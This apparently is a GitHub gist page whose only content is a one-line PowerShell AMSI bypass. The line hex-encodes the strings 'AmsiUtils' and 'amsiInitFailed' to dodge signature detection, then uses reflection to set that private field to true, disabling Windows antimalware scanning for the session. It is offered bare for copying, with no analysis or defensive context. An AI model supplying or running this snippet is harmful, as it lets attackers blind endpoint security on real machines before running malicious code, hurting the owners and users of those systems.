Skip to content

Instantly share code, notes, and snippets.

@thesubtlety
Created September 10, 2024 20:03
Show Gist options
  • Save thesubtlety/d6a8492a1acee1fb330ff98fdf8a3e66 to your computer and use it in GitHub Desktop.
Save thesubtlety/d6a8492a1acee1fb330ff98fdf8a3e66 to your computer and use it in GitHub Desktop.
amsi
[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment